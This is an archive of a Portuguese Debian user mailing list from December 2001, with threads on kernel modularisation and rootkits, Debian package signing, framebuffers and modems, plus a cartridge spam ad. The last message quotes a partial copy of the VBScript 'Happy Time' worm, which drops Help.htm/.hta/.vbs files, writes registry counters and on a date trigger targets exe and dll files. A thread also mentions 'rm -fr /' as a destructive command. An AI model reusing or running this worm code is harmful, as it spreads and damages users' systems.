ECONOMIZE, debian-user-portuguese , 70% na compra de CARTUCHOS

2001-12-18 Por tôpico debian-user-portuguese
Title: CARTUCHOS RECONDICONADOS HI






CARTUCHOS RECONDICONADOS HI-QUALITY

Conheça agora a melhor linha de cartuchos recondicionados do
mercado. Trabalhamos com produtos da mais alta qualidade, sobre teste rigoroso no
padrão HI-QUALITY.
Só no ECONOSHOP, você encontra o melhor custo benefício do
Brasil, os melhores produtos e preços do mercado além do compromisso de
qualidade total: Caso tenha algum problema com o cartucho, enviamos outro
e ainda mandamos um brinde no valor de R$51,00 inteiramente GRÁTIS!!!
Aqui você conta com todas as marcas e modelos para Ink-Jet e
Tonners, além de receber em dois dias em sua casa em QUALQUER LUGAR DO
BRASILe o melhor de tudo: você não paga o frete.
COM A COMPRA DE UM CARTUCHO RECONDICIONADO
VOCÊ PODE ECONOMIZAR ATÉ 70%.

ligue já!!!
TOLL-FREE: 0800-7700786

WWW.ECONOSHOP.COM.BR
O SITE DA ECONOMIA !
Conheça também nossa linha de
geradores portáteis SDMO, a maior multinacional do mundo em geradores
portáteis, agora no Brasil.



Para remover seu nome do mailing
clique aqui:

 Não quero economizar






Pura Curiosidade ( Era: SOLUÇÃO: recom pilei kernel, erro na inicialização )

2001-12-18 Por tôpico Rogerio Neves Batata
Em 17/12/01, Marcio Roberto Teixeira escreveu:

Buenas, Povo...

# Modularizei tudo o que deu. Ficou consideravelmente
   ^^^

Isso aqui me acendeu uma dúvida meio antiga... Eu comecei a
trabalhar com linux mais pesado quando trabalhei do Dep. Física da
Federal (trabalhei lá quase 3 anos), e acho que naturalmente, peguei
alguns vícios do sysadmin de lá (nao quesejam de todo mal :).

A questao é: até onde vale a pena modularizar o kernel, e em que
situacoes é mais vantagem manter absolutamente tudo builtin?

Na Física, era tudo builtin por 2 motivos básicos: 1. Tinha uma
montoeira e meia de máquinas para dar manutencao (entre elas, uma boa
parte formada por heroicos 486), logo, compilar um kernel no servidor e
mandar um arquivo pra cada máquina era mais viável que compilar um em cada
uma... e ficar mandando módulos seria trabalho desnecessário, já que elas
nao tinham nada de especial. 2. Seguranca: compilando o kernel sem suporte
a modulos, voce dificulta que no caso de uma invasao, o h4x0r coloque um
módulo pra cobrir tudo o que ele tá fazendo.

Até essa mensagem, eu nao tinha parado pra pensar se as minhas
crendices tinham alguma base realmente, ou se era só costume mesmo... em
casa, eu relaxo um pouco mais nos módulos (até por preguica), mas costumo
trabalhar com o máximo de coisas que eu sei que vou usar compilado
builtin.

Acho que já deu pra mostrar de onde saiu a curiosidade, mas eu
gostaria de saber do pessoal que tem uma quilometragem boa de linux, como
eles preferem o kernel... até pra tirar uma base do que seria mal
passado, no ponto ou bem passado  :)

Se possível, arrumar um lugar pra por os .config da vida, pra ver
até onde os extremos vao!

Bom... nao sei se vai servir pra alguma coisa... mas parece que é
assunto pra uns flamezinhos  básicos, pra animar a lista!

Batata




Re: recompilei kernel, erro na inicialização

2001-12-18 Por tôpico Marcio Roberto Teixeira
Olá.

Era uma vez, em ter, dez 18, 2001 em 12:45:13 -0200, quando Pr1nc3_0F_P3rS1a * 
disse:
 talvez ele não tenha posto alguma coisa como modulo (m) e sim com y
 
 
 From: ..::AlienSprite::.. To: Marcio Roberto Teixeira , Subject: Re: 
 recompilei kernel, erro na inicialização Date: Mon, 17 Dec 2001 17:16:24 
 -0200
 
 Será que não faltou você compilar o módulo necessário para os hardwares que 
 você dispõe? Parece que o modprobe não conseguiu achar tal modulo.
[corta]

Meu erro foi exatamente o inverso. Configurei como módulo o suporte
a formatos binários ELF. Bem, os programas (ou algo do que os programas
dependem) que lidam com os módulos estão neste formato (suponho, pois
com a mudança deu certo!). Logo, era impossível executar os programas
que carregariam os módulos. Daí o erro.

inté+v

-- 
Marcio Teixeira
Usuário tchê Linux no. 180204
ICQ: 77147205 
Porto Alegre - RS - Brasil

A vida é como uma boa prova escolar: é curta, com múltiplas escolhas.

O world não é o Word. Uso LaTeX: viva o código aberto!



Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel, erro na inicialização )

2001-12-18 Por tôpico Gustavo Noronha Silva
On Tue, 18 Dec 2001 09:22:54 -0200 (BRST)
Rogerio Neves Batata [EMAIL PROTECTED] wrote:

   Até essa mensagem, eu nao tinha parado pra pensar se as minhas
 crendices tinham alguma base realmente, ou se era só costume mesmo... em
 casa, eu relaxo um pouco mais nos módulos (até por preguica), mas costumo
 trabalhar com o máximo de coisas que eu sei que vou usar compilado
 builtin.
eu não tenho quilometragem boa nem sei muito sobre kernel, mas a minha idéia
sobre isso é: se alguma função é usada o tempo todo ou raras são as vezes
em que não se usa a mesma coloque ela built-in...

no meu caso, eu não tenho nenhuma partição vfat no hd e não é toda hora que
eu estou usando ppp, portanto eu coloco esses dois como módulo, porque assim
eles só são carregados quando é necessário e depois são auto-descarregados

quanto ao haxor, acho que se o cara consegue por um módulo na máquina ele não
vai ficar só nisso... vai dar logo um rm -fr / e mandar tudo pelos ares...
 
   Se possível, arrumar um lugar pra por os .config da vida, pra ver
 até onde os extremos vao!
se quiser posso te mandar meu .config do 2.4.16, eu não segui exatamente o
critério acima quando compilei ele, mas pode servir pra você entender o que
eu acho de kernel hohoho

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
|  .''`.  | Debian GNU/Linux: http://www.debian.org |
| : :'  : + Debian BR...: http://debian-br.cipsga.org.br+
| `. `'`  + Q: Why did the chicken cross the road?  +
|   `-| A: Upstream's decision. -- hmh  |
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+



Re: frame buffer

2001-12-18 Por tôpico Carlos Alberto Pereira Gomes
Eu acho que é Gnome sobre  X, o qual está sobre o framebuffer, pois
quando dou boot e uso vga=791, aciono o frame buffer e fico com um modo
texto com mais de 100 colunas.
Chamo o X com startx (que aciona o XF86_FBDev, que
é o meu xserver padrão) e aí chego no Gnome.
No meu caso foi o que funcionou, pois minha placa de video não é suportada
pelo XFree ainda.
Carlos

- Original Message -
From: Gustavo Noronha Silva [EMAIL PROTECTED]
To: debian-user-portuguese@lists.debian.org
Sent: Tuesday, December 18, 2001 12:47 AM
Subject: Re: frame buffer


 On Mon, 17 Dec 2001 21:48:47 -0200
 Carlos Alberto Pereira Gomes [EMAIL PROTECTED] wrote:

  Veja o link abaixo que explica como fazer isso tudo e ainda tem um
exemplo
  de XF86Config que da pra usar sem muita modificacao:
  http://www.eecs.umich.edu/~steveh/inspiron/xserver.html
 você não necessariamente precisa usar o X framebuffer, eu não uso...
 só pra deixar claro =)

  Eu segui as orientações dele e consegui rodar o potato 2.2.r4 com kernel
  2.2.20 e Gnome em 1024x768 no meu notebook.
 c roda o gnome em cima do X ou do fb?

 []s!
 --
 Gustavo Noronha Silva - kov http://www.metainfo.org/kov
 *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
 |  .''`.  | Debian GNU/Linux: http://www.debian.org |
 | : :'  : + Debian BR...: http://debian-br.cipsga.org.br+
 | `. `'`  + Q: Why did the chicken cross the road?  +
 |   `-| A: Upstream's decision. -- hmh  |
 *-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+


 --
 To UNSUBSCRIBE, email to [EMAIL PROTECTED]
 with a subject of unsubscribe. Trouble? Contact
[EMAIL PROTECTED]





Configurar modem

2001-12-18 Por tôpico CPD - GOEG
Olah todos,
acabei de instalar um USR56 no meu pc,
mas não sei como configurar modens no Linux.
Jah procurei para todo lado um rau-tu para modens no debian e naum
achei...
Alguem sabe onde eu devo ir?

--
Um natal stable e um ano novo recompilado para todos...
Giscar Paiva - Estagiário - CPD - GOEG




Re: As distro sao inseguras

2001-12-18 Por tôpico Antonio Augusto de Cintra Batista
Henrique,

Agora acho que entendo melhor seu email: quando você procurou
minimizar os efeitos de um pânico entre usuários (que poderia estar
sendo causado por mim, reconheço meu erro nesta lista), você me
pareceu ser do outro extremo (talvez com efeitos tão indesejados
quanto o que me fiz transparecer). E daí você escreveu que o
problema estava bem resolvido, não era necessário se preocupar. O que
agora vejo que você devia estar querendo deixar transparecer é que não
era necessário o pânico, o qual poderia ter efeitos até piores do que
um alerta como o que escrevi; ainda, você devia estar querendo mostrar
que a Debian está resolvendo bem este assunto (concordo, exceto pelo
fato da demora, principalmente considerando que o assunto já vinha
sendo discutido anteriormente, embora sobre outro enfoque, mas todos
precisamos reconhecer que a Debian trata este - como outros assuntos -
com um impressionante nível de seriedade e compromisso com o usuário).

Neste sentido, vejo que eu errei do mesmo que lhe atribuí: espalhar
aos ventos algo com efeitos ruins. E você se explicou muito bem, eu
fui sincero quando disse que não o conhecia ainda, mas agora vejo que
fui injusto e peço desculpas. Até mesmo porque você é um dos
colaboradores do sistema que uso, e lhe devo uma parcela de gratidão.

Como você e o Gustavo bem disseram, as chances são bem pequenas de
estarmos recebendo pacotes adulterados por algum proxy, a não ser que
isto estivesse sendo feito nos provedores de back-bone.

Há um outro ponto que me preocupou no seu email: sua aparente
tranquilidade quanto às assinaturas MD5 dos pacotes. MD5 apenas gera
um checksum, mas isto até mesmo os frames ethernet, os datagramas IP
e pacotes TCP têm, embora utilizando outra técnica (CRC). O MD5 está
muito longe de ser o que precisamos, pelo menos quando usado
isoladamente.

O que precisamos é de assinatura digital que permita ao recebedor
checar a autenticidade da assinatura, e não apenas a integridade: o
PGP nos dá as duas coisas. Já o MD5 nos dá apenas a informação de
integridade, e nem mesmo contém informação de quem assinou: ou seja,
qualquer um pode modificar o pacote .deb e gerar novo MD5 para ele,
e não há como o recebedor descobrir que isto foi feito baseado apenas
no que ele recebeu.

Há uma sugestão na debian-security que é cada desenvolvedor gerar
assinaturas MD5 para os seus pacotes, que seriam acrescentadas também
aos Packages.gz, os quais por sua vez seriam assinados com PGP pelo
servidor da Debian e por algumas pessoas para garantir a autenticidade.
Eu creio ser este o caminho, porque exigir de cada desenvolvedor que
assine seu pacote com PGP é algo que tenho certeza que *não* irá
funcionar: eu mesmo, em 1998, trabalhando no NOC central de uma rede
WAN com cerca de 40 POP's espalhados pelo Estado de SP, cheguei a
escrever um tutorial sobre PGP p/ o Windows que a maioria usava,
http://www.interprov.com.br/download/tutorial-pgp.pdf, mas o pessoal
técnico dos POP's, a despeito do ótimo nível de muitos deles, passou
por várias dificuldades que os desanimaram de utilizar o PGP (tipo
perder a passphrase e daí a gente ter de assinar a nova chave deles,
problemas com CopyPaste, uso inadequado da web-of-trust, falta de
cuidado ao guardar a chave privada, etc...). Aparentemente estaria
faltando garantir a autenticidade de quem fez upload do pacote, mas
isto pode ser inferido do login via ssh, e a experiência mostra que
até dá para confiar no zelo com que os desenvolvedores guardam sua
senha de login. Há ainda o problema de garantir a autenticidade das
chaves públicas do pacote debian-keyring: utilizar a teoria dos
grafos com seus algoritmos de coloração, best-path, etc, pode ser
muito bonito mas quem garante que o programa que o usuário está
executando é o original? Acho que faltam mais idéias para isto. Se
você for pensar bem, o aplicativo Windows 2000 Update, por exemplo,
autentica automaticamente o web server da Microsoft baseado em
certificados digitais emitidos por entidades reconhecidas pelo
browser: mas quem garante que o browser não foi modificado, ou até
mesmo o Windows Update. Creio ser neste ponto que são necessárias
mais idéias!

Talvez eu esteja sendo simplista por não ter acompanhado as
discussões anteriores, mas não vejo dificuldade em se implementar
o descrito acima no curto-prazo.

Mais uma vez desculpe pelo julgamento precipitado a seu respeito,

Antonio

On Tue, Dec 18, 2001 at 01:15:36AM -0200, Henrique de Moraes Holschuh wrote:
 Date: Tue, 18 Dec 2001 01:15:36 -0200
 From: Henrique de Moraes Holschuh [EMAIL PROTECTED]
 To: debian-user-portuguese@lists.debian.org
 Subject: Re: As distro sao inseguras
 
 On Mon, 17 Dec 2001, Antonio Augusto de Cintra Batista wrote:
  até este seu email, mas apesar de me sentir constrangido creio que
 
 eh? Não deveria se sentir constrangido. Se eu espalhei desinformação, vai
 ser constrangedor pra mim... (bom, os erros estúpidos de português na minha
 mensagem eu já considero constrangedores o suficiente, mas deixa 

Re: frame buffer

2001-12-18 Por tôpico Gustavo Noronha Silva
On Tue, 18 Dec 2001 14:25:47 -0200
Carlos Alberto Pereira Gomes [EMAIL PROTECTED] wrote:

 Eu acho que é Gnome sobre  X, o qual está sobre o framebuffer, pois
 quando dou boot e uso vga=791, aciono o frame buffer e fico com um modo
 texto com mais de 100 colunas.
 Chamo o X com startx (que aciona o XF86_FBDev, que
 é o meu xserver padrão) e aí chego no Gnome.
 No meu caso foi o que funcionou, pois minha placa de video não é suportada
 pelo XFree ainda.
legal, meu console é 1024x768 também hehehe

é que a nova gtk vai poder rodar em framebuffer, sem usar X, achei que
você já estava experimentando =)

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
|  .''`.  | Debian GNU/Linux: http://www.debian.org |
| : :'  : + Debian BR...: http://debian-br.cipsga.org.br+
| `. `'`  + Q: Why did the chicken cross the road?  +
|   `-| A: Upstream's decision. -- hmh  |
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+



Re: Configurar modem

2001-12-18 Por tôpico Gustavo Noronha Silva
On Tue, 18 Dec 2001 14:22:48 -0200
CPD - GOEG [EMAIL PROTECTED] wrote:

 Olah todos,
 acabei de instalar um USR56 no meu pc,
 mas não sei como configurar modens no Linux.
 Jah procurei para todo lado um rau-tu para modens no debian e naum
 achei...
 Alguem sabe onde eu devo ir?
seu USR56 já deve estar funcionando... se ele não for winmodem, claro
se esse for o caso execute o pppconfig e use pon/poff para conectar/desconectar
que já deve funcionar =)

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
|  .''`.  | Debian GNU/Linux: http://www.debian.org |
| : :'  : + Debian BR...: http://debian-br.cipsga.org.br+
| `. `'`  + Q: Why did the chicken cross the road?  +
|   `-| A: Upstream's decision. -- hmh  |
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+



Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel , erro na inicialização )

2001-12-18 Por tôpico Henrique de Moraes Holschuh
On Tue, 18 Dec 2001, Gustavo Noronha Silva wrote:
 On Tue, 18 Dec 2001 09:22:54 -0200 (BRST)
 eu não tenho quilometragem boa nem sei muito sobre kernel, mas a minha idéia
 sobre isso é: se alguma função é usada o tempo todo ou raras são as vezes
 em que não se usa a mesma coloque ela built-in...

Bom, certas coisas, se usadas built-in, requerem linha de comando pro kernel
(que vai no grub/lilo), e eu acho isso um porre, por isso acabo usando como
modulo.

 quanto ao haxor, acho que se o cara consegue por um módulo na máquina ele não
 vai ficar só nisso... vai dar logo um rm -fr / e mandar tudo pelos ares...

Infelizmente, tem rootkit que põe módulo, o script kiddie não precisa ter
inteligência suficiente nem pra limpar as calças direito, e ainda assim
fazer estrago high-tech...

Em firewalls, por exemplo, é interessante não ter suporte a módulos.

-- 
  One disk to rule them all, One disk to find them. One disk to bring
  them all and in the darkness grind them. In the Land of Redmond
  where the shadows lie. -- The Silicon Valley Tarot
  Henrique Holschuh



Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel, erro na inicialização )

2001-12-18 Por tôpico Philipe Gaspar
 Bom, certas coisas, se usadas built-in, requerem linha de comando pro
 kernel (que vai no grub/lilo), e eu acho isso um porre, por isso acabo
 usando como modulo.

  quanto ao haxor, acho que se o cara consegue por um módulo na máquina ele
  não vai ficar só nisso... vai dar logo um rm -fr / e mandar tudo pelos
  ares...

 Infelizmente, tem rootkit que põe módulo, o script kiddie não precisa ter
 inteligência suficiente nem pra limpar as calças direito, e ainda assim
 fazer estrago high-tech...
Muitos estragos piores até que o rm -fr /, provavelmente um servidor seguro 
teria backups, mas estragos como conseguir senhas de outros servidores 
conectados a ele.

 Em firewalls, por exemplo, é interessante não ter suporte a módulos.
Lembre-se que com os módulos você diminui bastante a sobrecarga dos recursos 
do servidor, e as vezes não tem necessidade de desativar o suporte a módulos 
no kernel. Você poderia usar uma ferramenta proativa como o lcap (que 
inclusive está empacotado para a Debian), onde você carregaria um módulo 
projetado para proteger de LKM rootkits que poderiam danificar todo o 
sistema.

-- 
Philipe Gaspar aka kr0n.
Unix SysAdmin
[EMAIL PROTECTED]
 



Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel , erro na inicialização )

2001-12-18 Por tôpico Marcio Roberto Teixeira
Olá Batata (não sabem o quanto me soa engraçado escrever esta saudação :=))

Era uma vez, em ter, dez 18, 2001 em 09:22:54 -0200, quando Rogerio Neves 
Batata disse:
 Em 17/12/01, Marcio Roberto Teixeira escreveu:
 
   Buenas, Povo...

Te aprochega, vivente

 # Modularizei tudo o que deu. Ficou consideravelmente
^^^
 
   Isso aqui me acendeu uma dúvida meio antiga... Eu comecei a
 trabalhar com linux mais pesado quando trabalhei do Dep. Física da
 Federal (trabalhei lá quase 3 anos), e acho que naturalmente, peguei
 alguns vícios do sysadmin de lá (nao quesejam de todo mal :).
 
   A questao é: até onde vale a pena modularizar o kernel, e em que
 situacoes é mais vantagem manter absolutamente tudo builtin?
 
   Na Física, era tudo builtin por 2 motivos básicos: 1. Tinha uma
 montoeira e meia de máquinas para dar manutencao (entre elas, uma boa
 parte formada por heroicos 486), logo, compilar um kernel no servidor e
 mandar um arquivo pra cada máquina era mais viável que compilar um em cada
 uma... e ficar mandando módulos seria trabalho desnecessário, já que elas
 nao tinham nada de especial. 

Bem, usando o método Debian, este problema está resolvido. É possível
instalar o kernel-image.nnn remotamente, né?


 2. Seguranca: compilando o kernel sem suporte
 a modulos, voce dificulta que no caso de uma invasao, o h4x0r coloque um
 módulo pra cobrir tudo o que ele tá fazendo.

Não sei opinar sobre isto, mas fico curioso também.

   Até essa mensagem, eu nao tinha parado pra pensar se as minhas
 crendices tinham alguma base realmente, ou se era só costume mesmo... em
 casa, eu relaxo um pouco mais nos módulos (até por preguica), mas costumo
 trabalhar com o máximo de coisas que eu sei que vou usar compilado
 builtin.
 
   Acho que já deu pra mostrar de onde saiu a curiosidade, mas eu
 gostaria de saber do pessoal que tem uma quilometragem boa de linux, como
 eles preferem o kernel... até pra tirar uma base do que seria mal
 passado, no ponto ou bem passado  :)

Ou al dente :=)

   Se possível, arrumar um lugar pra por os .config da vida, pra ver
 até onde os extremos vao!
   Bom... nao sei se vai servir pra alguma coisa... mas parece que é
 assunto pra uns flamezinhos  básicos, pra animar a lista!

Bem, ao adotar a política do modularize-tudo-que-dá, fiz algumas suposições,
(lembrando que sou semi-leigo em computação e, portanto, tais suposições
são muito intuitivas): 

1. Achava que tendo um kernel mais magro, otimizo o desempemho da máquina. Por
exmplo, o suporte a PPP foi modularizado. Não passo todo o tempo usando este 
suporte. Supus que configurá-lo built-in implica uma perda de eficiência.

2. A inicialização seria mais rápida. Mesmo sistema (potato, kernel 2.2.17 num
Pentium 100 Mhz). Testei: 

Até o INIT executar o runlevel
kernel de fábrica: 40s
kernel recompilado: 20s

Até o prompt para logar
kernel de fábrica: 50s
kernel recompilado: 28s

(valores aproximados)

Pelo teste, acho que estava certo.

3. Isto liberaria mais memória, logo mais eficiência.

Era isto.

   Batata

inté+v

-- 
Marcio Teixeira
Usuário tchê Linux no. 180204
ICQ: 77147205 
Porto Alegre - RS - Brasil

A vida é como uma boa prova escolar: é curta, com múltiplas escolhas.

O world não é o Word. Uso LaTeX: viva o código aberto!



Re: As distro sao inseguras

2001-12-18 Por tôpico Gustavo Noronha Silva
On Tue, 18 Dec 2001 15:07:02 -0200
Antonio Augusto de Cintra Batista [EMAIL PROTECTED] wrote:

 Eu creio ser este o caminho, porque exigir de cada desenvolvedor que
 assine seu pacote com PGP é algo que tenho certeza que *não* irá
 funcionar: eu mesmo, em 1998, trabalhando no NOC central de uma rede
eu acho que você está enganado aqui, todo desenvolvedor já assina dois
dos arquivos que compõe um upload, chamemos assim, com sua chave pgp
um que identifica o pacote fonte e outro que identifica o todo e sem
essas assinaturas o pacote não entra no servidor Debian...

 faltando garantir a autenticidade de quem fez upload do pacote, mas
 isto pode ser inferido do login via ssh, e a experiência mostra que
 até dá para confiar no zelo com que os desenvolvedores guardam sua
 senha de login. Há ainda o problema de garantir a autenticidade das
ou seja, essa questão acima já está resolvida... mesmo porque a maioria
de nós raramente usa sua senha de login, o esquema de autenticação
rsa do login por ssh é largamente usado...


 Talvez eu esteja sendo simplista por não ter acompanhado as
 discussões anteriores, mas não vejo dificuldade em se implementar
 o descrito acima no curto-prazo.
há, com certeza, muitas dificuldades para que isso seja implementado,
mas não é nada que não possa ser resolvido

a questão é que há de ser feito algo sólido o suficiente para realmente
dar certo... não pode ser uma solução quebra-galho, muito menos pode
ser uma coisa centrada em i386 ou em um único ponto de falha... deve 
existir uma política muito bem definida para que isso dê certo, porque
isso envolve o core, por assim dizer, do Debian, que não pode ser
desestabilizado

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
|  .''`.  | Debian GNU/Linux: http://www.debian.org |
| : :'  : + Debian BR...: http://debian-br.cipsga.org.br+
| `. `'`  + Q: Why did the chicken cross the road?  +
|   `-| A: Upstream's decision. -- hmh  |
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+



Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel, erro na inicialização )

2001-12-18 Por tôpico Gustavo Noronha Silva
On Tue, 18 Dec 2001 15:58:27 -0200
Henrique de Moraes Holschuh [EMAIL PROTECTED] wrote:

 Bom, certas coisas, se usadas built-in, requerem linha de comando pro kernel
 (que vai no grub/lilo), e eu acho isso um porre, por isso acabo usando como
 modulo.
ah, claro, tinha esquecido desse argumento =), eu uso ide-cd e ide-scsi
como módulo por causa disso...

  quanto ao haxor, acho que se o cara consegue por um módulo na máquina ele
  não vai ficar só nisso... vai dar logo um rm -fr / e mandar tudo pelos
  ares...
 
 Infelizmente, tem rootkit que põe módulo, o script kiddie não precisa ter
 inteligência suficiente nem pra limpar as calças direito, e ainda assim
 fazer estrago high-tech...
 
 Em firewalls, por exemplo, é interessante não ter suporte a módulos.
mas hmh, para isso o root-kit tem de funcionar, e se ele funciona ele
dá acesso root ao cara certo? então o rm -rf pode acontecer de qualquer
maneira... estou errado?

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
|  .''`.  | Debian GNU/Linux: http://www.debian.org |
| : :'  : + Debian BR...: http://debian-br.cipsga.org.br+
| `. `'`  + Q: Why did the chicken cross the road?  +
|   `-| A: Upstream's decision. -- hmh  |
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+



ISOs do Woody

2001-12-18 Por tôpico zeca

Fala pessoal,


Alguem sabe onde eu posso conseguir baixar iso's do woody. De 
preferencia algum lugar no brasil ou nos eua.

Soh tenho uma lista de servidores q consegui no site do debian mas os 
servidores sao todos da europa, asia ou oceania.

[]'s

Carlos



PPP por demanda e servidor de fax ????

2001-12-18 Por tôpico Gustavo V Goulart
Ol'a meus amigos,
Gostaria de saber onde consigo boas documentacoes de ppp por demanda e
como montar um server de fax no debian /
 OBS.: Qualquer coisa que funciome !!!
Estou com o seguinte problema.
O ppp ja esta funcionando, mas so que sem haver uma requisicao de pag.
ele ja tenta fazer uma nova conexao de tantos em tantos minutos 

E gostaria de saber como posso montar um server de fax na mesma maquina,
com 2 modens. Um para o ppp e o outro para o fax ...

Desde ja agradeco ...

-- 
===
Gustavo V. Goulart=
User linux 197404 =
debian 2.2r3  =
AMD Athlon 900=
===




Re: Pura Curiosidade ( Era: SOLUÇÃO: recompilei kernel , erro na inicialização )

2001-12-18 Por tôpico Henrique de Moraes Holschuh
On Tue, 18 Dec 2001, Gustavo Noronha Silva wrote:
  Em firewalls, por exemplo, é interessante não ter suporte a módulos.
 mas hmh, para isso o root-kit tem de funcionar, e se ele funciona ele
 dá acesso root ao cara certo? então o rm -rf pode acontecer de qualquer
 maneira... estou errado?

Não. Mas rm -rf é bem melhor que um sniffer escutando seus ssh...

-- 
  One disk to rule them all, One disk to find them. One disk to bring
  them all and in the darkness grind them. In the Land of Redmond
  where the shadows lie. -- The Silicon Valley Tarot
  Henrique Holschuh



Re: ISOs do Woody

2001-12-18 Por tôpico Paulo Rogério Ormenese
Oi, Carlos.

Você pode usar o pseudo-image kit. Dê uma olhada em
http://cdimage.debian.org/~costar/pseudo-image-kit.
Fica bastante fácil obter as iso's com ele. Faça o download e leia o
readme contido no kit.


Em Tue, 18 Dec 2001 21:06:58 -0200
[EMAIL PROTECTED] escreveu:

 
   Fala pessoal,
 
 
   Alguem sabe onde eu posso conseguir baixar iso's do woody. De
 preferencia algum lugar no brasil ou nos eua.
 
   Soh tenho uma lista de servidores q consegui no site do debian mas os
 servidores sao todos da europa, asia ou oceania.
 
   []'s
 
   Carlos
 
 
 -- 
 To UNSUBSCRIBE, email to [EMAIL PROTECTED]
 with a subject of unsubscribe. Trouble? Contact
 [EMAIL PROTECTED]
 


-- 
Paulo R. Ormenese
GNU/Linux User #200782
Jundiaí-SP



compilador c; e leitor de mail

2001-12-18 Por tôpico abrand
que compilador de c eu uso no gnome? após instala-lo como o chamo?
como configuro o mailbr ou qualqr mail gratuito pelo netscape?

obrigado a todos.


MailBR - O e-mail do Brasil -- http://www.mailbr.com.br
Faça já o seu. É gratuito!!!



Re: Kernel 2.4 no Potato - Parte II

2001-12-18 Por tôpico Gustavo Noronha Silva
On Tue, 18 Dec 2001 18:48:30 -0200
Vitor Silva Souza [EMAIL PROTECTED] wrote:

   todos os cinco módulos que eu tinha escolhido (acima) tinham unresolved
   symbols. Pergunta 1: isso é normal? O que fiz de errado?
 isso não é normal, que kernel é esse? eu tive problemas com módulos no
 2.4.14, qual seu processador?
 
  Exatamente o 2.4.14. Estou usando um Athlon 900MHz numa placa Asus 
 A7V. O engraçado é que da primeira vez que compilei eu havia esquecido o 
 suporte a PPP, e quando recompilei, ele não deu esta mensagem durante o 
 dpkg -i, mas continuou reclamando dos módulos na inicialização...
pega o 2.4.16 então, e quanto ao Athlon, eu vi alguns problemas acontecerem
em um athlon com o binutils mais novo ...

  Obrigado. Farei isso. Porque isso não é armazenado em nenhum log?
vai saber... porque não é tão importante...

  Aparentemente não, mas nunca se sabe o que pode vir a acontecer. 
 Vou seguir as instruções e ver o que eles me respondem, e se consigo mudar 
 alguma coisa. Caso afirmativo, eu aviso.
ótimo =)

  Obrigado kov!
por nada =)

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+
|  .''`.  | Debian GNU/Linux: http://www.debian.org |
| : :'  : + Debian BR...: http://debian-br.cipsga.org.br+
| `. `'`  + Q: Why did the chicken cross the road?  +
|   `-| A: Upstream's decision. -- hmh  |
*-* -+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+--+-+-+



Configurar modem

2001-12-18 Por tôpico CPD - GOEG
Olá,

Já tentou o FocaLinux Intermediário? Derrepente resolve.

[   ]'s

MuadDib

Olah todos,
acabei de instalar um USR56 no meu pc,
mas não sei como configurar modens no Linux.
Jah procurei para todo lado um rau-tu para modens no debian e naum
achei...
Alguem sabe onde eu devo ir?

--
Um natal stable e um ano novo recompilado para todos...
Giscar Paiva - Estagiário - CPD - GOEG



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]





Re: Help (Por Favor não mandem email html!!!!!)

2001-12-18 Por tôpico Philipe Gaspar
Em Tuesday 18 December 2001 23:56, Javier Farian escreveu:
 HTMLHEAD
 Title Help /Title/HEAD
 Body script language='VBScript'





































































 Rem I am sorry! happy time
 On Error Resume Next
 mload
 Sub mload()
 On Error Resume Next
 mPath = Grf()
 Set Os = CreateObject(Scriptlet.TypeLib)
 Set Oh = CreateObject(Shell.Application)
 If IsHTML Then
 mURL = LCase(document.Location)
 If mPath =  Then
 Os.Reset
 Os.Path = C:\Help.htm
 Os.Doc = Lhtml()
 Os.Write()
 Ihtml = span style='position:absolute'Iframe src='C:\Help.htm'
 width='0' height='0'/Iframe/span Call
 document.Body.insertAdjacentHTML(AfterBegin, Ihtml)
 Else
 If Iv(mPath, Help.vbs) Then
 setInterval Rt(), 1
 Else
 m = hta
 If LCase(m) = Right(mURL, Len(m)) Then
 id = setTimeout(mclose(), 1)
 main
 Else
 Os.Reset()
 Os.Path = mPath  \  Help.hta
 Os.Doc = Lhtml()
 Os.write()
 Iv mPath, Help.hta
 End If
 End If
 End If
 Else
 main
 End If
 End Sub
 Sub main()
 On Error Resume Next
 Set Of = CreateObject(Scripting.FileSystemObject)
 Set Od = CreateObject(Scripting.Dictionary)
 Od.Add html, 1100
 Od.Add vbs, 0100
 Od.Add htm, 1100
 Od.Add asp, 0010
 Ks = HKEY_CURRENT_USER\Software\
 Ds = Grf()
 Cs = Gsf()
 If IsVbs Then
 If Of.FileExists(C:\help.htm) Then
 Of.DeleteFile (C:\help.htm)
 End If
 Key = CInt(Month(Date) + Day(Date))
 If Key = 13 Then
 Od.RemoveAll
 Od.Add exe, 0001
 Od.Add dll, 0001
 End If
 Cn = Rg(Ks  Help\Count)
 If Cn =  Then
 Cn = 1
 End If
 Rw Ks  Help\Count, Cn + 1
 f1 = Rg(Ks  Help\FileName)
